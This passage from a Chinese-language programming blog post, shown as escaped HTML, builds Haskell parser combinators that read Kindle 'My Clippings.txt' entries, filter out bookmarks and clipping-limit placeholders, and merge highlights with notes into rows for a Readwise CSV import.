style=&quot;color: #AB5959;&quot;&gt; &amp;lt;*&lt;&#x2F;span&gt;&lt;span&gt; junks&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;  where&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    isTitleEndMark c &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; c &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ||&lt;&#x2F;span&gt;&lt;span&gt; c &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;（&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;||&lt;&#x2F;span&gt;&lt;span&gt; c &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;【&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;||&lt;&#x2F;span&gt;&lt;span&gt; c &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;：&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    junks &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; takeWhileP &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;Just&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;作者前的垃圾话&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;) (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&#x2F;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;*&lt;&#x2F;span&gt;&lt;span&gt; manyTill anySingle &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;try &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; lookAhead &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; pAuthor&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;*&lt;&#x2F;span&gt;&lt;span&gt; eol&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;pAuthor&quot;&gt;pAuthor&lt;&#x2F;h3&gt;
&lt;p&gt;其实前面的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;pAuthor&#x27;&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和使用它的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;pTitle&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;有一个假设：广告词不会被包裹在半角括号之中。但现实否定了该假设，因为有如下反例：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;哲人与权臣：尼禄宫廷里的塞内加 (甲骨文系列) ([美]詹姆斯·罗姆（James Romm）)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;大师和玛格丽特(译文名著精选) (米·布尔加科夫 (M.Bulgakov))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在经过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;pTitle&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;之后，留下的是：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;(甲骨文系列) ([美]詹姆斯·罗姆（James Romm）)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;(译文名著精选) (米·布尔加科夫 (M.Bulgakov))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;显然，我们的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;pAuthor&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;需要使用多次&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;pAuthor&#x27;&lt;&#x2F;code&gt;，然后保留最后一次的结果——用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;some&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;匹配至少一次，用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;last&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;取列表的最后一项：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;haskell&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;pAuthor&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; :: Parser Text&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;pAuthor &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; last &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;$&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; some pAuthor&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;*&lt;&#x2F;span&gt;&lt;span&gt; eol &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;*&lt;&#x2F;span&gt;&lt;span&gt; takeWhile1P &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;Just&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;- 您在位置 #&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;) (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&#x2F;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;*&lt;&#x2F;span&gt;&lt;span&gt; char &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;pFile&quot;&gt;pFile&lt;&#x2F;h3&gt;
&lt;p&gt;欢呼吧，我的朋友！\^o^&#x2F;
因为我们已经可以&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;parse&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;完整的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Clipping&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;了！&lt;&#x2F;p&gt;
&lt;p&gt;不过，在结束&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;parser&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;小节之前，我们还差最后一个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;parser&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;没写——parse&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;整个文件的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;pFile&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;haskell&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;pFile&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; :: Parser&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;Clipping&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;pFile &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; some pClipping&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;清理数据&quot;&gt;清理数据&lt;&#x2F;h2&gt;
&lt;p&gt;我们的目的是导出&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Readwise&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;需要的标注和笔记，而&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;My Clippings.txt&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中还有书签以及内容为“&amp;lt;您已达到本内容的剪贴上限&amp;gt;”的标注。在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;parse&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;之后，我们需要清理一下，把没用的数据过滤掉：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;haskell&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;clean&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;Clipping&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; -&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;Clipping&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;clean &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  filter &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;$ \&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;case&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;    Clipping&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;type_&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; Bookmark&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; -&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; False&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;    Clipping&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;type_&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; Highlight&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; content&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; &amp;lt;您已达到本内容的剪贴上限&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; -&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; False&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    _ &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; True&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;合并笔记和对应标注&quot;&gt;合并笔记和对应标注&lt;&#x2F;h2&gt;
&lt;p&gt;前文说过，在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Kindle&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里做笔记时会生成两条位置相同的标注和笔记（两个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Clipping&lt;&#x2F;code&gt;，&lt;code&gt;loc&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;相同，但一个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;type_&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Highlight&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;另一个则是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Note&lt;&#x2F;code&gt;&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。Readwise&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;期望笔记和标注在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CSV&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的同一行，所以我们需要写个函数把它俩合并起来。找出可以合并的标注和笔记需要遍历列表，而遍历列表还可以进行去重。总之，我的思路是：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;按照位置、类型和内容长度按升序排序；&lt;&#x2F;li&gt;
&lt;li&gt;遍历列表，每次取两个出来：
&lt;ol&gt;
&lt;li&gt;如果位置相同，且类型也相同，留下内容长的（舍弃第一个，把第二个放回列表，继续两两遍历）&lt;&#x2F;li&gt;
&lt;li&gt;如果位置相同，第二个类型为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Note&lt;&#x2F;code&gt;，把两个合成一个同时拥有标注和笔记的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;ReadwiseRow&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;否则，把第一个转换成没有笔记的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;ReadwiseRow&lt;&#x2F;code&gt;，把把第二个放回列表，继续两两遍历。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;上面几点写成代码就是这样：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;haskell&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ReadwiseRow =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;Text&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; Text&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; Text&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; Maybe Text&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; Int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; Text&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;toRows&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;Clipping&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; -&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;ReadwiseRow&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;toRows &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; go &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt; sort&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;  where&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    sort &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; sortOn &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;\&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;case&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; Clipping&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; type_&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; content&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; -&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; type_&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; T.&lt;&#x2F;span&gt;&lt;span&gt;length content&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; -- 1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    go &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; []&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    go &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; [&lt;&#x2F;span&gt;&lt;span&gt;to x &lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;Nothing&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    go &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;x &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt; xs&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;@&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;y &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt; ys&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;      |&lt;&#x2F;span&gt;&lt;span&gt; eqOn loc x y &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;amp;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt; eqOn type_ x y &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; go xs &lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;-- 2.1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;      |&lt;&#x2F;span&gt;&lt;span&gt; eqOn loc x y &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;amp;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt; type_ y &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; Note&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; to x &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;Just&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; $&lt;&#x2F;span&gt;&lt;span&gt; content y&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; :&lt;&#x2F;span&gt;&lt;span&gt; go ys &lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;-- 2.2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;      |&lt;&#x2F;span&gt;&lt;span&gt; otherwise &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; to x &lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;Nothing&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; :&lt;&#x2F;span&gt;&lt;span&gt; go xs &lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;-- 2.3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
